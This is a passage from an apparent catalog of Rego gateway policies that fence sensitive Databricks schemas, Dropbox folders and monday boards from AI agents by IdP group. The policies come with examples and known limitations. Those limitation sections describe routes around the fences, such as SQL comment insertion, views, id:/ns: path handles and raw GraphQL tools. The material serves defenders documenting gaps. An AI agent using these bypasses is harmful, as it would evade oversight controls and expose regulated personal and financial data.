*/`) or line (`--`) SQL comment wedged between the schema name and its dot (`main.hr/**/.salaries`, `main.hr--x⏎.salaries`) — references the fenced table without the contiguous pattern ever appearing in the wire text, so the fence does not fire (documented residual, locked in as tests). Likewise a read through a view or alias that omits the pattern evades it. Comment stripping is deliberately **not** attempted at the wire level: because comment delimiters can also appear inside SQL string literals, a naive regex strip could delete a real trailing `FROM hr.salaries` and *introduce* a false negative — worse than the residual. This is a fundamental limit of wire-level SQL inspection; enforce the naming convention in Unity Catalog and pair with `guard-warehouse-sql` and the egress backstop. - **Catalog-level metadata recon is not fenced.** `list_uc_catalogs` and `describe_uc_catalog(catalog_name)` (RafaelCartenet) enumerate catalogs/schemas but do not read table data; they pass through untouched (locked in as a test), consistent with the read-side focus on schema/table identifiers. A catalog whose *name* matches a pattern (e.g. a catalog literally named `payroll`) is therefore still discoverable via `describe_uc_catalog`. Deny or tightly scope these enumeration tools via `default-deny-unknown-tools` if catalog-name disclosure is itself sensitive. - **Managed argument key unverified.** The managed `execute_sql` tool's exact SQL argument key is not published in the landscape note; the policy checks `sql`, `statement`, and `query`. If your server uses a different key, the SQL text is unseen and the call fails closed (denied) for non-exempt callers rather than passing silently — verify the key with the dump-input technique and add it to the SQL candidates if needed. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (fenced namespaces deny). If your IdP emits groups under a different claim name (e.g. a namespaced custom claim), update `caller_groups` in the Rego. - **Genie / AI Search not covered.** Natural-language Genie tools and dynamic `{CATALOG}__{SCHEMA}__{INDEX}` AI Search tools are not inspected here — deny or tightly scope them via `default-deny-unknown-tools`, and rely on the egress backstop for their responses. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package databricks.ingress.fence_sensitive_schemas # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace at import time. # # Each entry pairs a human `label` (named in the denial reason) with a `pattern` # matched case-insensitively against the target identifier text (SQL statement, # full table name, or synthetic catalog.schema. prefix). Which tables hold # regulated data is not knowable from the wire, so the operator pins the naming # convention here. Broad patterns (`comp`) over-match by design — anchor them # (\bcomp) if the false-positive rate is too high. See Known limitations. fenced_namespaces := [ {"label": "hr.", "pattern": `hr\.`}, # e.g. hr.salaries, main.hr.comp {"label": "payroll.", "pattern": `payroll\.`}, # e.g. payroll.runs {"label": "pii_", "pattern": `pii_`}, # e.g. pii_customers, analytics.pii_profiles {"label": "_phi", "pattern": `_phi`}, # e.g. labresults_phi {"label": "comp", "pattern": `comp`}, # e.g. comp, compensation (broad — tune) ] # IdP group that is exempt from the fence (a placeholder — replace at import). exempt_group := "data-privacy" # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> no access to a fenced namespace). raw_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # Only an array is honored as the groups claim. Any other shape — a string, a # number, or an OBJECT — is coerced to [] so it fails closed for the exemption. # This is load-bearing: `some g in ` iterates the object's VALUES, so an # object-valued claim like {"role0": "data-privacy"} would otherwise leak # "data-privacy" into the membership check and spoof the exempt group. caller_groups := raw_groups if is_array(raw_groups) caller_groups := [] if not is_array(raw_groups) # True when the caller's groups claim (an array of strings) contains `group`. # A malformed (non-array) claim makes the iteration fail -> fail closed. caller_has_group(group) if { some g in caller_groups lower(g) == lower(group) } # --------------------------------------------------------------------------- # Tool matching. SQL tools are matched by the shared `execute_sql` stem # (contains) so managed execute_sql / execute_sql_read_only and community # execute_sql_query are all caught. Metadata tools are matched by suffix. name := lower(object.get(object.get(input, "resource", {}), "name", "")) is_sql_tool if { contains(name, "execute_sql") } is_describe_table if { endswith(name, "describe_uc_table") } is_describe_schema if { endswith(name, "describe_uc_schema") } # The set of tools this policy fences. is_fenced_tool if { is_sql_tool } is_fenced_tool if { is_describe_table } is_fenced_tool if { is_describe_schema } # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere. `scan_texts` is the set of # identifier strings to check against the fenced patterns. args := object.get(object.get(input, "payload", {}), "args", {}) # SQL text: check sql, statement, query (managed key unverified — see docs). # `is_string` is load-bearing: object.get returns the raw arg, and a non-string # value (array/object/number) is > "" yet cannot be normalized or regex-matched. # Without this guard it would be counted as "present" (arg_present true) but # produce no normalized text, so the fence would silently ALLOW an uninspectable # call. Requiring a string keeps a present-but-uninspectable arg failing closed. scan_texts contains t if { is_sql_tool t := object.get(args, "sql", "") is_string(t) t != "" } scan_texts contains t if { is_sql_tool t := object.get(args, "statement", "") is_string(t) t != "" } scan_texts contains t if { is_sql_tool t := object.get(args, "query", "") is_string(t) t != "" } # describe_uc_table: the fully-qualified table name (string only — see above). scan_texts contains t if { is_describe_table t := object.get(args, "full_table_name", "") is_string(t) t != "" } # describe_uc_schema: synthesize ".." so a trailing-dot # pattern like `hr\.` fences a schema literally named `hr`. Both parts must be # strings; a non-string catalog/schema is uninspectable and fails closed. scan_texts contains t if { is_describe_schema schema := object.get(args, "schema_name", "") is_string(schema) schema != "" catalog := object.get(args, "catalog_name", "") is_string(catalog) t := sprintf("%s.%s.", [catalog, schema]) } # A fenced tool is inspectable only when it carried a string identifier argument. # Absent OR non-string (uninspectable) argument -> fail closed (denied for # non-exempt callers). arg_present if { is_fenced_tool count(scan_texts) > 0 } # --------------------------------------------------------------------------- # Identifier text is normalized before matching so ordinary SQL quoting and # spacing cannot hide a fenced namespace. Databricks/Spark SQL routinely quotes # identifiers (`hr`.`salaries`) and tolerates whitespace/newlines around the dot # separator (hr . salaries) — without normalization both evade a trailing-dot # pattern like `hr\.`. We drop backticks and double-quotes and collapse any # whitespace surrounding a '.'. Normalization only ever merges tokens (adds # matches), never hides a contiguous pattern, so it is safe for a deny fence. normalized_texts contains n if { some t in scan_texts unquoted := replace(replace(t, "`", ""), `"`, "") n := regex.replace(unquoted, `\s*\.\s*`, ".") } # --------------------------------------------------------------------------- # Detection — labels of fenced namespaces referenced in the request. matched_labels contains lbl if { some entry in fenced_namespaces some t in normalized_texts regex.match(sprintf(`(?i)%s`, [entry.pattern]), t) lbl := entry.label } # --------------------------------------------------------------------------- # Allow rules. # Tools this policy does not recognize pass through untouched. allow if { not is_fenced_tool } # Callers in the exempt group may read fenced namespaces. allow if { is_fenced_tool caller_has_group(exempt_group) } # Non-exempt caller: allow only an inspectable call that references no fenced # namespace. A missing identifier argument makes arg_present false -> deny. allow if { is_fenced_tool not caller_has_group(exempt_group) arg_present count(matched_labels) == 0 } # --------------------------------------------------------------------------- # Deny reasons. reasons contains msg if { is_fenced_tool not caller_has_group(exempt_group) some lbl in matched_labels msg := sprintf("This Databricks call targets the fenced sensitive namespace '%s'. Reading fenced lakehouse schemas requires the 'data-privacy' IdP group — request access through your data-privacy access-request process. Contact your data platform admin if this namespace is mislabeled.", [lbl]) } reasons contains msg if { is_fenced_tool not caller_has_group(exempt_group) not arg_present msg := "This Databricks SQL or Unity Catalog call is missing its statement or table-name argument, so its target namespace cannot be checked against the sensitive-schema fence — the call is denied fail-closed. Supply the SQL text or the full table/schema name, or request the 'data-privacy' IdP group through your data-privacy access-request process." } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Sensitive Dropbox Paths by Team URL: https://www.intentbasedpolicy.com/policies/dropbox/fence-sensitive-paths App(s): dropbox | Direction: ingress | Bundles: soc2, hipaa, gdpr-ccpa | Package: dropbox.ingress.fence_sensitive_paths | Published: 2026-07-12 | Tags: dropbox, fence-sensitive-scopes, ingress, soc2, hipaa, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/dropbox/fence-sensitive-paths/policy.md # dropbox / fence-sensitive-paths **Direction:** ingress (`tool_pre_invoke`) **Default:** deny fenced targets for callers outside the mapped team, allow otherwise **Package:** `dropbox.ingress.fence_sensitive_paths` ## What it does Fences protected Dropbox subtrees by **path prefix**. Dropbox addresses files and folders by a root-relative path (`/Finance/2026/payroll.xlsx`), so the policy carries a placeholder `fenced_prefixes` map that pairs a top-level path prefix with the IdP team group required to touch anything under it — `/HR/` → `hr`, `/Finance/` → `finance`, `/Legal/` → `legal`, `/Customers/` → `customers`. At ingress it gates **every path-addressed Dropbox tool** and denies, for callers who lack the mapped group: - **Reads, listings, moves, copies, writes, and deletes** — `ListFolder`, `GetFileMetadata`, `GetFileContent`, `CreateFile`, `Copy`, `Move`, `Delete` (official server) and their community synonyms (`list_files`, `get_file_metadata`, `get_file_content`, `download_file`, `upload_file`, `copy_item`, `move_item`, `safe_delete_item` on `dbx-mcp-server`; `dropbox_list`, `dropbox_get_metadata`, `dropbox_download`, `dropbox_upload`, `dropbox_copy`, `dropbox_move`, `dropbox_delete` on `ngs`) — when **any** path-bearing argument falls under a fenced prefix. - **Search** — `Search` (official), `search_file_db` (dbx), `dropbox_search` (ngs). A search **scoped** to a `path` (or `options.path`) under a fenced prefix is denied for callers lacking that group. Because a search that supplies **no** path can surface names of files in any fenced tree (the same enumeration risk as `ListFolder`), the fail-closed rule below denies it as well — an agent cannot enumerate restricted filenames through `ListFolder` or `Search`. A caller may touch a protected prefix only when their `input.subject.claims.groups` include the matching team group; everyone else is denied. Group membership is read from `input.subject.claims.groups` via `object.get` chains and **fails closed**: a missing, empty, or non-array `groups` claim never grants access to a fenced target. The policy **fails closed on the path too**: a protected tool whose `path` argument is missing, empty, or not a string (an evasion attempt) is treated as **unauthorised** rather than allowed — the fence cannot verify a target it cannot read, so the request is denied. The prefix check runs **case-insensitively on a normalised path**: the path is lowercased, trimmed, given a single leading slash, and has runs of `/` collapsed to one (so `//finance/x` cannot dodge the `/finance/` prefix) before comparison, and matching is prefix-aware — `/finance` fences `/finance` and `/finance/...` but not the sibling `/finance-public`. All tools this policy does not inspect pass through untouched. ## Compliance alignment - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent access to designated confidential Dropbox trees to their mapped groups; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing folders behind team fences on the agent channel. - **HIPAA §164.308(a)(4)** — supports information access management: access to PHI-bearing Dropbox folders is authorized by IdP group on the MCP path; **§164.502(b) / §164.514(d)** — supports the minimum-necessary standard by fencing PHI folders to the minimal team that needs them. - **GDPR Art. 9** — supports special-category protection by fencing folders holding health, HR, or other Art. 9 data; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI paths to a minimal group; **Art. 5(1)(b)** — supports purpose limitation by keeping each protected tree accessible only to its owning team. ## Tool name matching Tool names are matched case-insensitively as an exact name or by `-`/`_`- separated suffix, so the policy tolerates any gateway server-name prefix (e.g. `dropbox-GetFileContent`): - **Official (`mcp.dropbox.com`):** `listfolder`, `getfilemetadata`, `getfilecontent`, `createfile`, `copy`, `move`, `delete`, `search`. - **Community (`dbx-mcp-server`):** `list_files`, `get_file_metadata`, `get_file_content`, `download_file`, `upload_file`, `copy_item`, `move_item`, `safe_delete_item`, `search_file_db`. - **Community (`ngs`):** `dropbox_list`, `dropbox_get_metadata`, `dropbox_download`, `dropbox_upload`, `dropbox_copy`, `dropbox_move`, `dropbox_delete`, `dropbox_search`. Share-link and external-URL tools are intentionally **not** matched here — gate those with [`guard-share-links-external`](../guard-share-links-external/policy.md). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Dropbox does not publish MCP JSON schemas, so the argument names are **unverified** and follow the Dropbox API v2 (`files/*`, `files/search_v2`) and the community server READMEs — see Known limitations. The policy reads the path **defensively from the likely keys**: `path`, `from_path`, `to_path`, `src`, `dest`, `source`, `destination`, and the search scope from `path` / `options.path`. Before shipping a policy pack, capture a live `tools/list` through the gateway and **pin the real argument key(s)** — if the live tool names the path under a key not in this list, that fence silently does not fire (though a present-but-non-string path still fails closed). Dropbox `id:...` handles are **not** resolvable to a path statelessly and are not fenced (see Known limitations). ## Examples ### Allowed — unfenced path ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-GetFileContent", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-GetFileContent", "args": { "path": "/Projects/roadmap.pdf" } // not under a fenced prefix } } } ``` `allow = true`, no reason. ### Denied — fenced path, caller lacks the team group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-GetFileContent", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-GetFileContent", "args": { "path": "/Finance/2026/payroll.xlsx" } // under /Finance/ -> finance } } } ``` `allow = false`, `reason = "Dropbox path '/Finance/2026/payroll.xlsx' is inside the protected '/finance/' folder, which is restricted to the 'finance' group. (...)"`. ### Denied — protected tool with no readable path (fail closed) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "dropbox-Search", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "dropbox-Search", "args": { "query": "salary" } // no path scope -> cannot verify -> deny } } } ``` `allow = false`, `reason = "This Dropbox call is a protected file operation but supplied no readable path (...)"`. ## Composition This policy is single-purpose: it fences every path-addressed read, listing, move, copy, write, delete, and search of pinned sensitive path prefixes by team. Useful companions: - [`guard-share-links-external`](../guard-share-links-external/policy.md) — so fenced content that an authorized caller reads cannot be re-shared outward via a public link or file request. - An egress PII/PHI redaction policy on `GetFileContent` / `download_file` and `Search` responses — it also mops up filenames returned by an allowed listing of an unfenced ancestor (see Known limitations). - A destructive-op gate for `RestoreFolder` / `RestoreFileRevision`, which this policy does not cover. ## Known limitations - **Prefix matching only — no path canonicalization or ID resolution.** The policy matches the literal (lowercased, leading-slash-normalized, repeated slashes collapsed) path against its prefixes. It does **not** resolve Dropbox file `id:...` handles, `ns:/...` namespace-relative paths, shared-link URLs, or `..`/`.` traversal tricks (Dropbox itself does not resolve `..`/`.`, so those literal forms do not reach the real file, but a file legitimately addressed by its `id:` or `ns:` form **is not** fenced). Pin the sensitive subtree's path prefixes at import time and, where your workflow uses `id:`/`ns:` addressing, pair with an egress redaction policy. - **Fail-closed on missing/unparseable path denies pathless calls.** A protected tool with no readable string path — a `Search` with only a query, a `ListFolder` of the root, or a path supplied under an unrecognized key — is denied rather than allowed. This is deliberate: it is what stops an agent from enumerating fenced filenames through an unscoped `ListFolder`/`Search`, but it means legitimate whole-drive searches must be re-scoped to a path the caller may access. - **Broad operations on an unfenced ancestor can still surface fenced descendants.** A recursive `ListFolder` of an unfenced parent (e.g. `/Projects`) that happens to contain a fenced subtree enumerates items inside it. Mitigate by pinning the sensitive **root** prefixes (so listing the root itself is caught) and pairing with an egress redaction policy. - **Argument names are unverified.** Path and search-scope keys follow the Dropbox API v2 and the community server READMEs; Dropbox publishes no MCP schemas. If a live tool names the path differently, that fence silently does not fire — confirm against a live `tools/list` and pin the real key(s). A present-but-non-string path fails closed, so the safe failure mode holds for the keys that are checked. - **Both source and destination paths are checked on move/copy.** Moving a file *out of* a fenced tree (fenced `from_path`/`src`) and moving one *into* a fenced tree (fenced `to_path`/`dest`) both require the mapped group. This is deliberately conservative; a non-group caller relocating unrelated files into a fenced path is denied. - **Placeholder configuration.** Path prefixes and group names are placeholders — replace `/hr`, `/finance`, `/legal`, `/customers` and the group names with your real Dropbox paths and IdP `groups` values at import time. Group names are placeholders — replace `finance` with your IdP's group name at import time. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (fenced targets deny). If your IdP emits groups under a different claim name, update `caller_groups` in the Rego. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package dropbox.ingress.fence_sensitive_paths # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace at import time. # # Dropbox path prefix (lowercase, leading slash, NO trailing slash) -> IdP team # group required to read/list/move/copy/write/delete/search inside it. A prefix # fences itself and everything under it (`/finance` fences `/finance` and # `/finance/...`, but not the sibling `/finance-public`). Groups are compared # case-insensitively. fenced_prefixes := { "/hr": "hr", "/finance": "finance", "/legal": "legal", "/customers": "customers", } # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> no access to fenced targets). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains `group`. # A malformed (non-array) claim makes the iteration fail -> fail closed. caller_has_group(group) if { some g in caller_groups lower(g) == lower(group) } # --------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP server # name (separator not standardized), so match the exact name or a `-`/`_`- # separated suffix, case-insensitively. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) tool_matches(suffix) if tool_name == suffix tool_matches(suffix) if endswith(tool_name, sprintf("-%s", [suffix])) tool_matches(suffix) if endswith(tool_name, sprintf("_%s", [suffix])) # Every path-addressed Dropbox tool this policy gates, across all three # dialects: reads, listings, moves, copies, writes, deletes, and search. protected_tool_suffixes := [ # official (PascalCase, lowercased here) "listfolder", "getfilemetadata", "getfilecontent", "createfile", "createfolder", "copy", "move", "delete", "search", "listfilerevisions", # dbx-mcp-server (snake_case) "list_files", "get_file_metadata", "get_file_content", "download_file", "upload_file", "create_folder", "copy_item", "move_item", "safe_delete_item", "search_file_db", # ngs (dropbox_ prefix) "dropbox_list", "dropbox_get_metadata", "dropbox_download", "dropbox_upload", "dropbox_create_folder", "dropbox_copy", "dropbox_move", "dropbox_delete", "dropbox_search", "dropbox_get_revisions", ] is_protected_tool if { some s in protected_tool_suffixes tool_matches(s) } # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere. Read the path defensively from # the likely keys plus the search scope nested under `options.path`. args := object.get(object.get(input, "payload", {}), "args", {}) path_keys := ["path", "from_path", "to_path", "src", "dest", "source", "destination"] # Non-empty string paths supplied on the call. requested_paths contains p if { some k in path_keys v := object.get(args, k, "") is_string(v) v != "" p := v } requested_paths contains p if { v := object.get(object.get(args, "options", {}), "path", "") is_string(v) v != "" p := v } # A path-like argument present but not a string (an evasion of the string # match) — fail closed. path_malformed if { some k in path_keys v := object.get(args, k, null) v != null not is_string(v) } path_malformed if { v := object.get(object.get(args, "options", {}), "path", null) v != null not is_string(v) } # --------------------------------------------------------------------------- # Path normalization + prefix test. Case-insensitive, single leading slash. # Collapse runs of `/` to a single slash so `//finance/x` cannot slip past the # `/finance/` prefix test. RE2 pattern `/+` -> `/`. normalized_path(p) := out if { t := regex.replace(lower(trim_space(p)), `/+`, "/") startswith(t, "/") out := t } normalized_path(p) := out if { t := regex.replace(lower(trim_space(p)), `/+`, "/") not startswith(t, "/") out := concat("", ["/", t]) } # True when path `p` is at or under fenced prefix `prefix`. path_under(p, prefix) if normalized_path(p) == prefix path_under(p, prefix) if startswith(normalized_path(p), concat("", [prefix, "/"])) # True when some requested path falls under a fenced prefix whose group the # caller does not hold. blocked_by_fence if { some p in requested_paths some prefix, group in fenced_prefixes path_under(p, prefix) not caller_has_group(group) } # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not inspect passes through untouched. allow if not is_protected_tool # Protected tools: allowed only when a readable string path is present (fail # closed on missing/unparseable path), no path argument is malformed, and no # requested path is fenced-without-group. allow if { is_protected_tool not path_malformed count(requested_paths) > 0 not blocked_by_fence } # --------------------------------------------------------------------------- # Deny reasons. # Fenced target the caller may not touch — names the folder rule and the group. reasons contains msg if { is_protected_tool some p in requested_paths some prefix, group in fenced_prefixes path_under(p, prefix) not caller_has_group(group) msg := sprintf("Dropbox path '%s' is inside the protected '%s/' folder, which is restricted to the '%s' group. Ask your Dropbox administrator to grant you the '%s' group, or contact InfoSec if this fence looks wrong.", [p, prefix, group, group]) } # Fail closed: a protected tool with no readable string path cannot be verified. reasons contains "This Dropbox call is a protected file operation but supplied no readable path, so the sensitive-path fence cannot verify it and the request fails closed. Re-issue with an explicit string path (for example the `path` argument scoped to a folder you may access)." if { is_protected_tool not path_malformed count(requested_paths) == 0 } # Fail closed: a path argument that is present but not a string. reasons contains "This Dropbox call carries a malformed path argument (not a string), so the sensitive-path fence cannot evaluate it and the request fails closed. Re-issue with a string path." if { is_protected_tool path_malformed } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Sensitive monday Boards by IdP Group URL: https://www.intentbasedpolicy.com/policies/monday/fence-sensitive-boards App(s): monday | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: monday.ingress.fence_sensitive_boards | Published: 2026-07-12 | Tags: monday, fence-sensitive-scopes, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/monday/fence-sensitive-boards/policy.md # monday / fence-sensitive-boards **Direction:** ingress (`tool_pre_invoke`) **Default:** deny fenced targets for callers outside the mapped group, allow otherwise **Package:** `monday.ingress.fence_sensitive_boards` ## What it does monday boards are schemaless business databases: HR/recruiting boards (candidate PII), CRM/deal boards (financial), and IT/security trackers routinely live in the same account behind a single flat API token. Sensitivity is a property of the **board / workspace ID**, not the tool. This policy converts that flat single-token scope into per-team least-privilege scoping by pinning sensitive board and workspace IDs to the IdP group required to touch them. The policy carries two placeholder maps — `fenced_boards` and `fenced_workspaces` — that pair a monday board/workspace ID with a group (e.g. board `1111111111` → `hr`, CRM board → `sales`, security-tracker board → `infosec`). At ingress it reads the target scope from `boardId`, `boardIds[]`, and `workspaceIds[]` on the inspected tools and denies the call when a requested ID is in a fenced set and the caller lacks the mapped group. Inspected tools: - **Reads** — `get_board_items_page`, `get_full_board_data`, `board_insights`, `get_updates`, `get_board_activity`, `read_docs`, `fetch_file_content`, and `search`. - **Writes** — `create_item`, `create_items` (batch), and `change_item_column_values`. `search` is special: it is monday's account-wide discovery surface. A `search` call that carries **no** `boardIds` and **no** `workspaceIds` filter is treated as account-wide discovery and is denied for non-privileged callers, so it cannot be used to enumerate around the fence. A scoped `search` is allowed only when none of its `boardIds`/`workspaceIds` are fenced away from the caller; an unscoped `search` is reserved for a caller who holds **every** fenced group (they could reach any fenced board anyway). Group membership is read from `input.subject.claims.groups` via `object.get` chains and fails closed: a missing, empty, or malformed `groups` claim never grants access to a fenced target — no group means not permitted. All tools this policy does not inspect pass through untouched. ## Compliance alignment - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent access to designated confidential boards to their mapped groups; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing boards (HR/CRM) behind role fences on the agent channel. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary / role-based-limit standard by scoping agent access to PHI-bearing boards to the mapped group; **§164.308(a)(4)** — supports information access management: access to sensitive boards is authorized by IdP group on the MCP path; **§164.522(a)** — fenced board IDs can encode agreed-to restrictions on specific record sets. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role: fence the CRM/deal or finance board so only the mapped group can pull it through an agent. - **GDPR Art. 9** — supports special-category protection by fencing boards holding health, HR, or other Art. 9 data; **Art. 5(1)(b)** — supports purpose limitation by keeping sensitive boards scoped to the team whose purpose they serve; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI boards to a minimal group. ## Tool name matching Tool names are matched case-insensitively as an exact name or by `-`/`_`-separated suffix, so the policy tolerates any gateway server-name prefix (e.g. `monday-mcp_get_board_items_page`). The official monday server (`https://mcp.monday.com/mcp`) exposes these tools **unprefixed**: - Reads: `get_board_items_page`, `get_full_board_data`, `board_insights`, `get_updates`, `get_board_activity`, `read_docs`, `fetch_file_content`, `search`. - Writes: `create_item`, `create_items`, `change_item_column_values`. Suffix matching also catches the community `sakce/mcp-server-monday` `monday_`-prefixed spellings. Some share a suffix with the official names (`monday_create_item` matches `create_item`), but the sakce write-update and its board-content read are named differently and do **not** overlap, so the policy matches them explicitly: `update_item` (sakce's coarser equivalent of official `change_item_column_values`) and `list_items_in_groups` (its board-content read). That server's tool set is otherwise coarser and does not expose `board_insights`, `search`, `read_docs`, or `fetch_file_content`; its remaining reads are item-ID-scoped and cannot be fenced by board ID (see Known limitations). Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - `get_board_items_page`, `get_full_board_data`, `board_insights`, `create_item`, `change_item_column_values`: scalar `boardId` (number or string). - `search`: `boardIds[]` and/or `workspaceIds[]` (arrays); absent → account-wide. - IDs are normalized to a trimmed string, so numeric and string encodings both match. The policy also reads a `boardIds[]` array and a `workspaceIds[]` array on **every** inspected tool defensively, so a tool that carries the scope under those keys is fenced the same way. See Known limitations for `read_docs` / `fetch_file_content`, whose real schemas name their targets differently. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp_get_board_items_page", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "monday-mcp_get_board_items_page", "args": { "boardId": 9999999999 } // not in fenced_boards } } } ``` `allow = true`, no reason. ### Denied ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "monday-mcp_get_board_items_page", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "monday-mcp_get_board_items_page", "args": { "boardId": 1111111111 } // fenced_boards → hr } } } ``` `allow = false`, `reason = "monday board 1111111111 is fenced as sensitive and requires the 'hr' IdP group. (...)"`. ## Composition This policy is single-purpose: it fences reads/writes/search of pinned sensitive board and workspace IDs. Useful companions: - **`apps/monday/deny-graphql-escape-hatch`** (or equivalent) — deny `all_monday_api` / `all_api_read` / `all_api_write` / `manage_tools`. Without it, every fence here is bypassable via one raw GraphQL `query` string (see Known limitations). - An **egress PII/PHI redaction** policy on `get_board_items_page`, `get_full_board_data`, `read_docs`, and `get_updates` responses, to mop up regulated values that an authorized caller reads back (and to cover the reads this ingress policy does not scope by ID). - A **directory guard** denying `list_users_and_teams` for non-admin callers, since it returns account-wide names/emails independent of any board fence. ## Known limitations - **Literal, canonical-ID matching only.** The policy matches the exact board/workspace IDs in its maps. A board reached by an ID not on the list is not fenced. IDs are compared as trimmed strings after `sprintf` normalization of numbers, so `1111111111` (number) and `"1111111111"` (string) both match — but a non-canonical spelling that monday still resolves (e.g. a leading-zero `"01111111111"`, or an ID carrying surrounding formatting the API tolerates) will **not** match the fence key. Pin every sensitive board's exact canonical ID (and the enclosing workspace ID) at import time; the shipped IDs are placeholders. - **`read_docs` and `fetch_file_content` scope by item, not board.** In the real monday schema `read_docs` targets `ids[]` (+ a `type` of `ids|object_ids|workspace_ids`) and `fetch_file_content` targets `item_id` + `column_id` — neither carries a `boardId`. This policy fences them only when a `boardId` / `boardIds[]` / `workspaceIds[]` scope key is present (which `read_docs` does supply when `type` is `workspace_ids`). A doc or file fetched by a bare item/object ID is **not** fenced by this policy. Pair with the egress redaction companion, and fence the workspace IDs so `read_docs` with `type: workspace_ids` is caught. - **`create_items` (batch) arg shape is unverified.** The batch-create tool is fenced the same way as `create_item`, and the policy reads a board ID both from a top-level `boardId` and from a per-item `boardId` inside an `items[]` array. monday's exact `create_items` schema was not verified against source; if your server nests the board target under a different key (or accepts a `boardIds[]` on the batch call), confirm with the dump-input debug technique and extend `requested_board_ids`. A batch write that names no board ID the policy can see is not fenced (same residual as the account-wide-read limitation below). - **GraphQL escape hatch bypasses this policy.** `all_monday_api` / `all_api_read` / `all_api_write` reduce every board read/write to one opaque GraphQL string with no `boardId` argument to inspect. This policy does not cover them — attach the escape-hatch deny companion (see Composition), or every fence here is defeatable. - **Account-wide reads that name no board are not fenced.** `get_full_board_data` and friends are only fenced by the IDs supplied; a broad discovery path that returns a board without ever passing its ID as an argument cannot be caught statelessly. The `search` unscoped-discovery deny is the guard for the main enumeration surface; other account-wide readers should be paired with egress redaction. In particular, a board-scoped tool called with **no** board/workspace ID argument at all (e.g. a malformed or exploratory `get_board_items_page` with empty args) names no fenced target and so passes through — the fence only fires on a fenced ID it can see. - **Not every board-reading tool is inspected.** This policy fences the content-bearing reads (`get_board_items_page`, `get_full_board_data`, `board_insights`, `get_updates`, `get_board_activity`, `read_docs`, `fetch_file_content`). Other `boardId`-scoped readers on the official server — `get_board_info`, `get_board_schema`, `get_assets`, `fetch_custom_activity`, and the monday-dev sprint readers — are **not** fenced, so a caller can still learn a fenced board's structure/metadata or list its assets. Add the ones that matter for your data model to `is_board_scope_tool`, and rely on the egress redaction companion for the content itself. - **Workspace-scoped `search` can still cross the board fence.** A scoped `search` is allowed when none of its `boardIds`/`workspaceIds` are themselves fenced. If a fenced board lives inside a workspace that is **not** in `fenced_workspaces`, a `search` scoped to that (unfenced) workspace reaches the fenced board's items. Fence the **enclosing workspace ID** of every fenced board (add it to `fenced_workspaces`) so workspace-scoped discovery is caught too. - **Unscoped `search` is reserved for fully-privileged callers.** A caller holding every fenced group may run an unscoped account-wide `search`. If even that is unacceptable, tighten the unscoped-search allow rule to deny outright. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (fenced targets deny). If your IdP emits groups under a different claim name (e.g. a namespaced custom claim), update `caller_groups` in the Rego. - **Community (sakce) item-ID-scoped tools are not fenced.** The policy fences the two sakce board-ID-scoped tools (`monday_update_item`, `monday_list_items_in_groups`). Its other sakce tools — `monday_get_items_by_id`, `monday_get_item_updates`, `monday_list_subitems_in_items`, and `monday_create_update` — address items by `itemId` with no board argument, so a stateless ingress policy cannot map them to a fenced board and they pass through. `monday_get_board_groups` / `monday_get_board_columns` return board structure/metadata and are treated like the official metadata readers below (uninspected). Pair with the egress redaction 